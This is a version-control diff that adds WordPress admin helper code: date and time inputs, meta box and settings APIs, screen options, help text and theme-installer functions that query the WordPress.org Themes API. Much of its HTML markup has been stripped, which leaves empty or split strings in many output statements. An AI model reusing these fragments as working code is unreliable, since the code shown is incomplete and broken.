    '; + + $time_adj = time() + (get_option( 'gmt_offset' ) * 3600 ); + $post_date = ($for_post) ? $post->post_date : $comment->comment_date; + $jj = ($edit) ? mysql2date( 'd', $post_date, false ) : gmdate( 'd', $time_adj ); + $mm = ($edit) ? mysql2date( 'm', $post_date, false ) : gmdate( 'm', $time_adj ); + $aa = ($edit) ? mysql2date( 'Y', $post_date, false ) : gmdate( 'Y', $time_adj ); + $hh = ($edit) ? mysql2date( 'H', $post_date, false ) : gmdate( 'H', $time_adj ); + $mn = ($edit) ? mysql2date( 'i', $post_date, false ) : gmdate( 'i', $time_adj ); + $ss = ($edit) ? mysql2date( 's', $post_date, false ) : gmdate( 's', $time_adj ); + + $cur_jj = gmdate( 'd', $time_adj ); + $cur_mm = gmdate( 'm', $time_adj ); + $cur_aa = gmdate( 'Y', $time_adj ); + $cur_hh = gmdate( 'H', $time_adj ); + $cur_mn = gmdate( 'i', $time_adj ); + + $month = "'; + + $day = ''; + $year = ''; + $hour = ''; + $minute = ''; + + echo '
    '; + /* translators: 1: month input, 2: day input, 3: year input, 4: hour input, 5: minute input */ + printf(__('%1$s%2$s, %3$s @ %4$s : %5$s'), $month, $day, $year, $hour, $minute); + + echo '
    '; + + if ( $multi ) return; + + echo "\n\n"; + foreach ( array('mm', 'jj', 'aa', 'hh', 'mn') as $timeunit ) { + echo '' . "\n"; + $cur_timeunit = 'cur_' . $timeunit; + echo '' . "\n"; + } +?> + +

    + + +

    +$template"; + endforeach; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $default + * @param unknown_type $parent + * @param unknown_type $level + * @return unknown + */ +function parent_dropdown( $default = 0, $parent = 0, $level = 0 ) { + global $wpdb, $post_ID; + $items = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent) ); + + if ( $items ) { + foreach ( $items as $item ) { + // A page cannot be its own parent. + if (!empty ( $post_ID ) ) { + if ( $item->ID == $post_ID ) { + continue; + } + } + $pad = str_repeat( ' ', $level * 3 ); + if ( $item->ID == $default) + $current = ' selected="selected"'; + else + $current = ''; + + echo "\n\t"; + parent_dropdown( $default, $item->ID, $level +1 ); + } + } else { + return false; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function browse_happy() { + $getit = __( 'WordPress recommends a better browser' ); + echo ' +
    Browse Happy
    +'; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $id + * @return unknown + */ +function the_attachment_links( $id = false ) { + $id = (int) $id; + $post = & get_post( $id ); + + if ( $post->post_type != 'attachment' ) + return false; + + $icon = get_attachment_icon( $post->ID ); + $attachment_data = wp_get_attachment_metadata( $id ); + $thumb = isset( $attachment_data['thumb'] ); +?> + + html elements for role selectors based on $wp_roles + * + * @package WordPress + * @subpackage Administration + * @since 2.1 + * + * @uses $wp_roles + * @param string $default slug for the role that should be already selected + */ +function wp_dropdown_roles( $selected = false ) { + global $wp_roles; + $p = ''; + $r = ''; + + $editable_roles = get_editable_roles(); + + foreach( $editable_roles as $role => $details ) { + $name = translate_user_role($details['name'] ); + if ( $selected == $role ) // Make default first in list + $p = "\n\t"; + else + $r .= "\n\t"; + } + echo $p . $r; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $size + * @return unknown + */ +function wp_convert_hr_to_bytes( $size ) { + $size = strtolower($size); + $bytes = (int) $size; + if ( strpos($size, 'k') !== false ) + $bytes = intval($size) * 1024; + elseif ( strpos($size, 'm') !== false ) + $bytes = intval($size) * 1024 * 1024; + elseif ( strpos($size, 'g') !== false ) + $bytes = intval($size) * 1024 * 1024 * 1024; + return $bytes; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $bytes + * @return unknown + */ +function wp_convert_bytes_to_hr( $bytes ) { + $units = array( 0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB' ); + $log = log( $bytes, 1024 ); + $power = (int) $log; + $size = pow(1024, $log - $power); + return $size . $units[$power]; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function wp_max_upload_size() { + $u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) ); + $p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) ); + $bytes = apply_filters( 'upload_size_limit', min($u_bytes, $p_bytes), $u_bytes, $p_bytes ); + return $bytes; +} + +/** + * Outputs the form used by the importers to accept the data to be imported + * + * @since 2.0 + * + * @param string $action The action attribute for the form. + */ +function wp_import_upload_form( $action ) { + $bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() ); + $size = wp_convert_bytes_to_hr( $bytes ); + $upload_dir = wp_upload_dir(); + if ( ! empty( $upload_dir['error'] ) ) : + ?>

    +

    +
    +

    + () + + + +

    +

    + +

    +
    +post_name); // just in case + if ( strlen($name) ) + echo ''; +} + +/** + * Add a meta box to an edit form. + * + * @since 2.5.0 + * + * @param string $id String for use in the 'id' attribute of tags. + * @param string $title Title of the meta box. + * @param string $callback Function that fills the box with the desired content. The function should echo its output. + * @param string $page The type of edit page on which to show the box (post, page, link). + * @param string $context The context within the page where the boxes should show ('normal', 'advanced'). + * @param string $priority The priority within the context where the boxes should show ('high', 'low'). + */ +function add_meta_box($id, $title, $callback, $page, $context = 'advanced', $priority = 'default', $callback_args=null) { + global $wp_meta_boxes; + + if ( !isset($wp_meta_boxes) ) + $wp_meta_boxes = array(); + if ( !isset($wp_meta_boxes[$page]) ) + $wp_meta_boxes[$page] = array(); + if ( !isset($wp_meta_boxes[$page][$context]) ) + $wp_meta_boxes[$page][$context] = array(); + + foreach ( array_keys($wp_meta_boxes[$page]) as $a_context ) { + foreach ( array('high', 'core', 'default', 'low') as $a_priority ) { + if ( !isset($wp_meta_boxes[$page][$a_context][$a_priority][$id]) ) + continue; + + // If a core box was previously added or removed by a plugin, don't add. + if ( 'core' == $priority ) { + // If core box previously deleted, don't add + if ( false === $wp_meta_boxes[$page][$a_context][$a_priority][$id] ) + return; + // If box was added with default priority, give it core priority to maintain sort order + if ( 'default' == $a_priority ) { + $wp_meta_boxes[$page][$a_context]['core'][$id] = $wp_meta_boxes[$page][$a_context]['default'][$id]; + unset($wp_meta_boxes[$page][$a_context]['default'][$id]); + } + return; + } + // If no priority given and id already present, use existing priority + if ( empty($priority) ) { + $priority = $a_priority; + // else if we're adding to the sorted priortiy, we don't know the title or callback. Glab them from the previously added context/priority. + } elseif ( 'sorted' == $priority ) { + $title = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['title']; + $callback = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['callback']; + $callback_args = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['args']; + } + // An id can be in only one priority and one context + if ( $priority != $a_priority || $context != $a_context ) + unset($wp_meta_boxes[$page][$a_context][$a_priority][$id]); + } + } + + if ( empty($priority) ) + $priority = 'low'; + + if ( !isset($wp_meta_boxes[$page][$context][$priority]) ) + $wp_meta_boxes[$page][$context][$priority] = array(); + + $wp_meta_boxes[$page][$context][$priority][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + * @param unknown_type $context + * @param unknown_type $object + * @return int number of meta_boxes + */ +function do_meta_boxes($page, $context, $object) { + global $wp_meta_boxes; + static $already_sorted = false; + + //do_action('do_meta_boxes', $page, $context, $object); + + $hidden = get_hidden_meta_boxes($page); + + echo "
    \n"; + + $i = 0; + do { + // Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose + if ( !$already_sorted && $sorted = get_user_option( "meta-box-order_$page", 0, false ) ) { + foreach ( $sorted as $box_context => $ids ) + foreach ( explode(',', $ids) as $id ) + if ( $id ) + add_meta_box( $id, null, null, $page, $box_context, 'sorted' ); + } + $already_sorted = true; + + if ( !isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context]) ) + break; + + foreach ( array('high', 'sorted', 'core', 'default', 'low') as $priority ) { + if ( isset($wp_meta_boxes[$page][$context][$priority]) ) { + foreach ( (array) $wp_meta_boxes[$page][$context][$priority] as $box ) { + if ( false == $box || ! $box['title'] ) + continue; + $i++; + $style = ''; + if ( in_array($box['id'], $hidden) ) + $style = 'style="display:none;"'; + echo '
    ' . "\n"; + echo '

    '; + echo "

    {$box['title']}

    \n"; + echo '
    ' . "\n"; + call_user_func($box['callback'], $object, $box); + echo "
    \n"; + echo "
    \n"; + } + } + } + } while(0); + + echo "
    "; + + return $i; + +} + +/** + * Remove a meta box from an edit form. + * + * @since 2.6.0 + * + * @param string $id String for use in the 'id' attribute of tags. + * @param string $page The type of edit page on which to show the box (post, page, link). + * @param string $context The context within the page where the boxes should show ('normal', 'advanced'). + */ +function remove_meta_box($id, $page, $context) { + global $wp_meta_boxes; + + if ( !isset($wp_meta_boxes) ) + $wp_meta_boxes = array(); + if ( !isset($wp_meta_boxes[$page]) ) + $wp_meta_boxes[$page] = array(); + if ( !isset($wp_meta_boxes[$page][$context]) ) + $wp_meta_boxes[$page][$context] = array(); + + foreach ( array('high', 'core', 'default', 'low') as $priority ) + $wp_meta_boxes[$page][$context][$priority][$id] = false; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + */ +function meta_box_prefs($page) { + global $wp_meta_boxes; + + if ( empty($wp_meta_boxes[$page]) ) + return; + + $hidden = get_hidden_meta_boxes($page); + + foreach ( array_keys($wp_meta_boxes[$page]) as $context ) { + foreach ( array_keys($wp_meta_boxes[$page][$context]) as $priority ) { + foreach ( $wp_meta_boxes[$page][$context][$priority] as $box ) { + if ( false == $box || ! $box['title'] ) + continue; + // Submit box cannot be hidden + if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] ) + continue; + $box_id = $box['id']; + echo '\n"; + } + } + } +} + +function get_hidden_meta_boxes($page) { + $hidden = (array) get_user_option( "meta-box-hidden_$page", 0, false ); + + // Hide slug boxes by default + if ( empty($hidden[0]) ) { + $hidden = array('slugdiv'); + } + + return $hidden; +} + +/** + * Add a new section to a settings page. + * + * @since 2.7.0 + * + * @param string $id String for use in the 'id' attribute of tags. + * @param string $title Title of the section. + * @param string $callback Function that fills the section with the desired content. The function should echo its output. + * @param string $page The type of settings page on which to show the section (general, reading, writing, ...). + */ +function add_settings_section($id, $title, $callback, $page) { + global $wp_settings_sections; + + if ( !isset($wp_settings_sections) ) + $wp_settings_sections = array(); + if ( !isset($wp_settings_sections[$page]) ) + $wp_settings_sections[$page] = array(); + if ( !isset($wp_settings_sections[$page][$id]) ) + $wp_settings_sections[$page][$id] = array(); + + $wp_settings_sections[$page][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback); +} + +/** + * Add a new field to a settings page. + * + * @since 2.7.0 + * + * @param string $id String for use in the 'id' attribute of tags. + * @param string $title Title of the field. + * @param string $callback Function that fills the field with the desired content. The function should echo its output. + * @param string $page The type of settings page on which to show the field (general, reading, writing, ...). + * @param string $section The section of the settingss page in which to show the box (default, ...). + * @param array $args Additional arguments + */ +function add_settings_field($id, $title, $callback, $page, $section = 'default', $args = array()) { + global $wp_settings_fields; + + if ( !isset($wp_settings_fields) ) + $wp_settings_fields = array(); + if ( !isset($wp_settings_fields[$page]) ) + $wp_settings_fields[$page] = array(); + if ( !isset($wp_settings_fields[$page][$section]) ) + $wp_settings_fields[$page][$section] = array(); + + $wp_settings_fields[$page][$section][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $args); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + */ +function do_settings_sections($page) { + global $wp_settings_sections, $wp_settings_fields; + + if ( !isset($wp_settings_sections) || !isset($wp_settings_sections[$page]) ) + return; + + foreach ( (array) $wp_settings_sections[$page] as $section ) { + echo "

    {$section['title']}

    \n"; + call_user_func($section['callback'], $section); + if ( !isset($wp_settings_fields) || !isset($wp_settings_fields[$page]) || !isset($wp_settings_fields[$page][$section['id']]) ) + continue; + echo ''; + do_settings_fields($page, $section['id']); + echo '
    '; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + * @param unknown_type $section + */ +function do_settings_fields($page, $section) { + global $wp_settings_fields; + + if ( !isset($wp_settings_fields) || !isset($wp_settings_fields[$page]) || !isset($wp_settings_fields[$page][$section]) ) + return; + + foreach ( (array) $wp_settings_fields[$page][$section] as $field ) { + echo ''; + if ( !empty($field['args']['label_for']) ) + echo ''; + else + echo '' . $field['title'] . ''; + echo ''; + call_user_func($field['callback'], $field['args']); + echo ''; + echo ''; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + */ +function manage_columns_prefs($page) { + $columns = get_column_headers($page); + + $hidden = get_hidden_columns($page); + + foreach ( $columns as $column => $title ) { + // Can't hide these + if ( 'cb' == $column || 'title' == $column || 'name' == $column || 'username' == $column || 'media' == $column || 'comment' == $column ) + continue; + if ( empty($title) ) + continue; + + if ( 'comments' == $column ) + $title = __('Comments'); + $id = "$column-hide"; + echo '\n"; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $found_action + */ +function find_posts_div($found_action = '') { +?> + +post_password ) ) echo esc_attr( $post->post_password ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function favorite_actions( $screen = null ) { + switch ( $screen ) { + case 'post-new.php': + $default_action = array('edit.php' => array(__('Edit Posts'), 'edit_posts')); + break; + case 'edit-pages.php': + $default_action = array('page-new.php' => array(__('New Page'), 'edit_pages')); + break; + case 'page-new.php': + $default_action = array('edit-pages.php' => array(__('Edit Pages'), 'edit_pages')); + break; + case 'upload.php': + $default_action = array('media-new.php' => array(__('New Media'), 'upload_files')); + break; + case 'media-new.php': + $default_action = array('upload.php' => array(__('Edit Media'), 'upload_files')); + break; + case 'link-manager.php': + $default_action = array('link-add.php' => array(__('New Link'), 'manage_links')); + break; + case 'link-add.php': + $default_action = array('link-manager.php' => array(__('Edit Links'), 'manage_links')); + break; + case 'users.php': + $default_action = array('user-new.php' => array(__('New User'), 'create_users')); + break; + case 'user-new.php': + $default_action = array('users.php' => array(__('Edit Users'), 'edit_users')); + break; + case 'plugins.php': + $default_action = array('plugin-install.php' => array(__('Install Plugins'), 'install_plugins')); + break; + case 'plugin-install.php': + $default_action = array('plugins.php' => array(__('Manage Plugins'), 'activate_plugins')); + break; + case 'themes.php': + $default_action = array('theme-install.php' => array(__('Install Themes'), 'install_themes')); + break; + case 'theme-install.php': + $default_action = array('themes.php' => array(__('Manage Themes'), 'switch_themes')); + break; + default: + $default_action = array('post-new.php' => array(__('New Post'), 'edit_posts')); + break; + } + + $actions = array( + 'post-new.php' => array(__('New Post'), 'edit_posts'), + 'edit.php?post_status=draft' => array(__('Drafts'), 'edit_posts'), + 'page-new.php' => array(__('New Page'), 'edit_pages'), + 'media-new.php' => array(__('Upload'), 'upload_files'), + 'edit-comments.php' => array(__('Comments'), 'moderate_comments') + ); + + $default_key = array_keys($default_action); + $default_key = $default_key[0]; + if ( isset($actions[$default_key]) ) + unset($actions[$default_key]); + $actions = array_merge($default_action, $actions); + $actions = apply_filters('favorite_actions', $actions); + + $allowed_actions = array(); + foreach ( $actions as $action => $data ) { + if ( current_user_can($data[1]) ) + $allowed_actions[$action] = $data[0]; + } + + if ( empty($allowed_actions) ) + return; + + $first = array_keys($allowed_actions); + $first = $first[0]; + echo '
    '; + echo '

    '; + echo '
    '; + + array_shift($allowed_actions); + + foreach ( $allowed_actions as $action => $label) { + echo "\n"; + } + echo "
    \n"; +} + +/** + * Get the post title. + * + * The post title is fetched and if it is blank then a default string is + * returned. + * + * @since 2.7.0 + * @param int $id The post id. If not supplied the global $post is used. + * + */ +function _draft_or_post_title($post_id = 0) +{ + $title = get_the_title($post_id); + if ( empty($title) ) + $title = __('(no title)'); + return $title; +} + +/** + * Display the search query. + * + * A simple wrapper to display the "s" parameter in a GET URI. This function + * should only be used when {@link the_search_query()} cannot. + * + * @uses attr + * @since 2.7.0 + * + */ +function _admin_search_query() { + echo isset($_GET['s']) ? esc_attr( stripslashes( $_GET['s'] ) ) : ''; +} + +/** + * Generic Iframe header for use with Thickbox + * + * @since 2.7.0 + * @param string $title Title of the Iframe page. + * @param bool $limit_styles Limit styles to colour-related styles only (unless others are enqueued). + * + */ +function iframe_header( $title = '', $limit_styles = false ) { +?> + > + + +<?php bloginfo('name') ?> › <?php echo $title ?> — <?php _e('WordPress'); ?> + + + + +> + + + + + +post_password) ) + $post_states[] = __('Password protected'); + if ( 'private' == $post->post_status && 'private' != $post_status ) + $post_states[] = __('Private'); + if ( 'draft' == $post->post_status && 'draft' != $post_status ) + $post_states[] = __('Draft'); + if ( 'pending' == $post->post_status && 'pending' != $post_status ) + /* translators: post state */ + $post_states[] = _x('Pending', 'post state'); + if ( is_sticky($post->ID) ) + $post_states[] = __('Sticky'); + + $post_states = apply_filters( 'display_post_states', $post_states ); + + if ( ! empty($post_states) ) { + $state_count = count($post_states); + $i = 0; + echo ' - '; + foreach ( $post_states as $state ) { + ++$i; + ( $i == $state_count ) ? $sep = '' : $sep = ', '; + echo "$state$sep"; + } + } +} + +function screen_meta($screen) { + global $wp_meta_boxes, $_wp_contextual_help; + + $screen = str_replace('.php', '', $screen); + $screen = str_replace('-new', '', $screen); + $screen = str_replace('-add', '', $screen); + $screen = apply_filters('screen_meta_screen', $screen); + + $column_screens = get_column_headers($screen); + $meta_screens = array('index' => 'dashboard'); + + if ( isset($meta_screens[$screen]) ) + $screen = $meta_screens[$screen]; + $show_screen = false; + $show_on_screen = false; + if ( !empty($wp_meta_boxes[$screen]) || !empty($column_screens) ) { + $show_screen = true; + $show_on_screen = true; + } + + $screen_options = screen_options($screen); + if ( $screen_options ) + $show_screen = true; + + if ( !isset($_wp_contextual_help) ) + $_wp_contextual_help = array(); + + $settings = ''; + + switch ( $screen ) { + case 'post': + if ( !isset($_wp_contextual_help['post']) ) { + $help = drag_drop_help(); + $help .= '

    ' . __('Writing Posts') . '

    '; + $_wp_contextual_help['post'] = $help; + } + break; + case 'page': + if ( !isset($_wp_contextual_help['page']) ) { + $help = drag_drop_help(); + $_wp_contextual_help['page'] = $help; + } + break; + case 'dashboard': + if ( !isset($_wp_contextual_help['dashboard']) ) { + $help = '

    ' . __('The modules on this screen can be arranged in several columns. You can select the number of columns from the Screen Options tab.') . "

    \n"; + $help .= drag_drop_help(); + $_wp_contextual_help['dashboard'] = $help; + } + break; + case 'link': + if ( !isset($_wp_contextual_help['link']) ) { + $help = drag_drop_help(); + $_wp_contextual_help['link'] = $help; + } + break; + case 'options-general': + if ( !isset($_wp_contextual_help['options-general']) ) + $_wp_contextual_help['options-general'] = __('General Settings'); + break; + case 'theme-install': + case 'plugin-install': + if ( ( !isset($_GET['tab']) || 'dashboard' == $_GET['tab'] ) && !isset($_wp_contextual_help[$screen]) ) { + $help = plugins_search_help(); + $_wp_contextual_help[$screen] = $help; + } + break; + case 'widgets': + if ( !isset($_wp_contextual_help['widgets']) ) { + $help = widgets_help(); + $_wp_contextual_help['widgets'] = $help; + } + $settings = '

    ' . __('Enable accessibility mode') . '' . __('Disable accessibility mode') . "

    \n"; + $show_screen = true; + break; + } +?> +
    + + + + + + + +
    +' . __('Most of the modules on this screen can be moved. If you hover your mouse over the title bar of a module you’ll notice the 4 arrow cursor appears to let you know it is movable. Click on it, hold down the mouse button and start dragging the module to a new location. As you drag the module, notice the dotted gray box that also moves. This box indicates where the module will be placed when you release the mouse button.') . '

    +

    ' . __('The same modules can be expanded and collapsed by clicking once on their title bar and also completely hidden from the Screen Options tab.') . '

    +'; +} + +function plugins_search_help() { + return ' +

    ' . __('Search help') . '

    ' . + '

    ' . __('You may search based on 3 criteria:') . '
    ' . + __('Term: Searches theme names and descriptions for the specified term.') . '
    ' . + __('Tag: Searches for themes tagged as such.') . '
    ' . + __('Author: Searches for themes created by the Author, or which the Author contributed to.') . '

    +'; +} + +function widgets_help() { + return ' +

    ' . __('Widgets are added and arranged by simple drag ’n’ drop. If you hover your mouse over the titlebar of a widget, you’ll see a 4-arrow cursor which indicates that the widget is movable. Click on the titlebar, hold down the mouse button and drag the widget to a sidebar. As you drag, you’ll see a dotted box that also moves. This box shows where the widget will go once you drop it.') . '

    +

    ' . __('To remove a widget from a sidebar, drag it back to Available Widgets or click on the arrow on its titlebar to reveal its settings, and then click Remove.') . '

    +

    ' . __('To remove a widget from a sidebar and keep its configuration, drag it to Inactive Widgets.') . '

    +

    ' . __('The Inactive Widgets area stores widgets that are configured but not curently used. If you change themes and the new theme has fewer sidebars than the old, all extra widgets will be stored to Inactive Widgets automatically.') . '

    +'; +} + +function screen_layout($screen) { + global $screen_layout_columns; + + $columns = array('dashboard' => 4, 'post' => 2, 'page' => 2, 'link' => 2); + $columns = apply_filters('screen_layout_columns', $columns, $screen); + + if ( !isset($columns[$screen]) ) { + $screen_layout_columns = 0; + return ''; + } + + $screen_layout_columns = get_user_option("screen_layout_$screen"); + $num = $columns[$screen]; + + if ( ! $screen_layout_columns ) + $screen_layout_columns = 2; + + $i = 1; + $return = '
    ' . __('Screen Layout') . "
    \n
    " . __('Number of Columns:') . "\n"; + while ( $i <= $num ) { + $return .= "\n"; + ++$i; + } + $return .= "
    \n"; + return $return; +} + +function screen_options($screen) { + switch ( $screen ) { + case 'edit': + $per_page_label = __('Posts per page:'); + break; + case 'edit-pages': + $per_page_label = __('Pages per page:'); + break; + case 'edit-comments': + $per_page_label = __('Comments per page:'); + break; + case 'upload': + $per_page_label = __('Media items per page:'); + break; + case 'categories': + $per_page_label = __('Categories per page:'); + break; + case 'edit-tags': + $per_page_label = __('Tags per page:'); + break; + case 'plugins': + $per_page_label = __('Plugins per page:'); + break; + default: + return ''; + } + + $option = str_replace( '-', '_', "${screen}_per_page" ); + $per_page = (int) get_user_option( $option, 0, false ); + if ( empty( $per_page ) || $per_page < 1 ) { + if ( 'plugins' == $screen ) + $per_page = 999; + else + $per_page = 20; + } + if ( 'edit_comments_per_page' == $option ) + $per_page = apply_filters( 'comments_per_page', $per_page, isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : 'all' ); + elseif ( 'categories' == $option ) + $per_page = apply_filters( 'edit_categories_per_page', $per_page ); + else + $per_page = apply_filters( $option, $per_page ); + + $return = '
    ' . __('Options') . "
    \n"; + $return .= "
    \n"; + if ( !empty($per_page_label) ) + $return .= " \n"; + $return .= ""; + $return .= ""; + $return .= "
    \n"; + return $return; +} + +function screen_icon($name = '') { + global $parent_file, $hook_suffix; + + if ( empty($name) ) { + if ( isset($parent_file) && !empty($parent_file) ) + $name = substr($parent_file, 0, -4); + else + $name = str_replace(array('.php', '-new', '-add'), '', $hook_suffix); + } +?> +

    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/theme-install.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/theme-install.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,547 @@ + array('href' => array(), 'title' => array(), 'target' => array()), + 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), + 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), + 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), + 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), + 'img' => array('src' => array(), 'class' => array(), 'alt' => array()) +); + +$theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true, + 'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true, + 'tags' => true, 'num_ratings' => true +); + + +/** + * Retrieve theme installer pages from WordPress Themes API. + * + * It is possible for a theme to override the Themes API result with three + * filters. Assume this is for themes, which can extend on the Theme Info to + * offer more choices. This is very powerful and must be used with care, when + * overridding the filters. + * + * The first filter, 'themes_api_args', is for the args and gives the action as + * the second parameter. The hook for 'themes_api_args' must ensure that an + * object is returned. + * + * The second filter, 'themes_api', is the result that would be returned. + * + * @since 2.8.0 + * + * @param string $action + * @param array|object $args Optional. Arguments to serialize for the Theme Info API. + * @return mixed + */ +function themes_api($action, $args = null) { + + if ( is_array($args) ) + $args = (object)$args; + + if ( !isset($args->per_page) ) + $args->per_page = 24; + + $args = apply_filters('themes_api_args', $args, $action); //NOTE: Ensure that an object is returned via this filter. + $res = apply_filters('themes_api', false, $action, $args); //NOTE: Allows a theme to completely override the builtin WordPress.org API. + + if ( ! $res ) { + $request = wp_remote_post('http://api.wordpress.org/themes/info/1.0/', array( 'body' => array('action' => $action, 'request' => serialize($args))) ); + if ( is_wp_error($request) ) { + $res = new WP_Error('themes_api_failed', __('An Unexpected HTTP Error occured during the API request.

    Try again'), $request->get_error_message() ); + } else { + $res = unserialize($request['body']); + if ( ! $res ) + $res = new WP_Error('themes_api_failed', __('An unknown error occured'), $request['body']); + } + } + //var_dump(array($args, $res)); + return apply_filters('themes_api_result', $res, $action, $args); +} + +/** + * Retrieve list of WordPress theme features (aka theme tags) + * + * @since 2.8.0 + * + * @return array + */ +function install_themes_feature_list( ) { + if ( !$cache = get_transient( 'wporg_theme_feature_list' ) ) + set_transient( 'wporg_theme_feature_list', array( ), 10800); + + if ( $cache ) + return $cache; + + $feature_list = themes_api( 'feature_list', array( ) ); + if ( is_wp_error( $feature_list ) ) + return $features; + + set_transient( 'wporg_theme_feature_list', $feature_list, 10800 ); + + return $feature_list; +} + +add_action('install_themes_search', 'install_theme_search', 10, 1); +/** + * Display theme search results + * + * @since 2.8.0 + * + * @param string $page + */ +function install_theme_search($page) { + global $theme_field_defaults; + + $type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : ''; + + $args = array(); + + switch( $type ){ + case 'tag': + $terms = explode(',', $term); + $terms = array_map('trim', $terms); + $terms = array_map('sanitize_title_with_dashes', $terms); + $args['tag'] = $terms; + break; + case 'term': + $args['search'] = $term; + break; + case 'author': + $args['author'] = $term; + break; + } + + $args['page'] = $page; + $args['fields'] = $theme_field_defaults; + + if ( !empty( $_POST['features'] ) ) { + $terms = $_POST['features']; + $terms = array_map( 'trim', $terms ); + $terms = array_map( 'sanitize_title_with_dashes', $terms ); + $args['tag'] = $terms; + $_REQUEST['s'] = implode( ',', $terms ); + $_REQUEST['type'] = 'tag'; + } + + $api = themes_api('query_themes', $args); + + if ( is_wp_error($api) ) + wp_die($api); + + add_action('install_themes_table_header', 'install_theme_search_form'); + + display_themes($api->themes, $api->info['page'], $api->info['pages']); +} + +/** + * Display search form for searching themes. + * + * @since 2.8.0 + */ +function install_theme_search_form() { + $type = isset( $_REQUEST['type'] ) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset( $_REQUEST['s'] ) ? stripslashes( $_REQUEST['s'] ) : ''; + ?> +

    + +
    + + + +
    + +

    +
    +

    + '; + $trans = array ('Colors' => __('Colors'), 'black' => __('Black'), 'blue' => __('Blue'), 'brown' => __('Brown'), + 'green' => __('Green'), 'orange' => __('Orange'), 'pink' => __('Pink'), 'purple' => __('Purple'), 'red' => __('Red'), + 'silver' => __('Silver'), 'tan' => __('Tan'), 'white' => __('White'), 'yellow' => __('Yellow'), 'dark' => __('Dark'), + 'light' => __('Light'), 'Columns' => __('Columns'), 'one-column' => __('One Column'), 'two-columns' => __('Two Columns'), + 'three-columns' => __('Three Columns'), 'four-columns' => __('Four Columns'), 'left-sidebar' => __('Left Sidebar'), + 'right-sidebar' => __('Right Sidebar'), 'Width' => __('Width'), 'fixed-width' => __('Fixed Width'), 'flexible-width' => __('Flexible Width'), + 'Features' => __('Features'), 'custom-colors' => __('Custom Colors'), 'custom-header' => __('Custom Header'), 'theme-options' => __('Theme Options'), + 'threaded-comments' => __('Threaded Comments'), 'sticky-post' => __('Sticky Post'), 'microformats' => __('Microformats'), + 'Subject' => __('Subject'), 'holiday' => __('Holiday'), 'photoblogging' => __('Photoblogging'), 'seasonal' => __('Seasonal'), + ); + + foreach ( (array) $feature_list as $feature_name => $features ) { + if ( isset($trans[$feature_name]) ) + $feature_name = $trans[$feature_name]; + $feature_name = esc_html( $feature_name ); + echo '
    ' . $feature_name . '
    '; + + echo '
      '; + foreach ( $features as $feature ) { + $feature_name = $feature; + if ( isset($trans[$feature]) ) + $feature_name = $trans[$feature]; + $feature_name = esc_html( $feature_name ); + $feature = esc_attr($feature); +?> + +
    1. + + +
    2. + + +
    +
    + + + +
    +

    +
    + 'featured', 'page' => $page, 'fields' => $theme_field_defaults); + $api = themes_api('query_themes', $args); + if ( is_wp_error($api) ) + wp_die($api); + display_themes($api->themes, $api->info['page'], $api->info['pages']); +} + +add_action('install_themes_new', 'install_themes_new', 10, 1); +/** + * Display new themes/ + * + * @since 2.8.0 + * + * @param string $page + */ +function install_themes_new($page = 1) { + global $theme_field_defaults; + $args = array('browse' => 'new', 'page' => $page, 'fields' => $theme_field_defaults); + $api = themes_api('query_themes', $args); + if ( is_wp_error($api) ) + wp_die($api); + display_themes($api->themes, $api->info['page'], $api->info['pages']); +} + +add_action('install_themes_updated', 'install_themes_updated', 10, 1); +/** + * Display recently updated themes. + * + * @since 2.8.0 + * + * @param string $page + */ +function install_themes_updated($page = 1) { + global $theme_field_defaults; + $args = array('browse' => 'updated', 'page' => $page, 'fields' => $theme_field_defaults); + $api = themes_api('query_themes', $args); + display_themes($api->themes, $api->info['page'], $api->info['pages']); +} + +add_action('install_themes_upload', 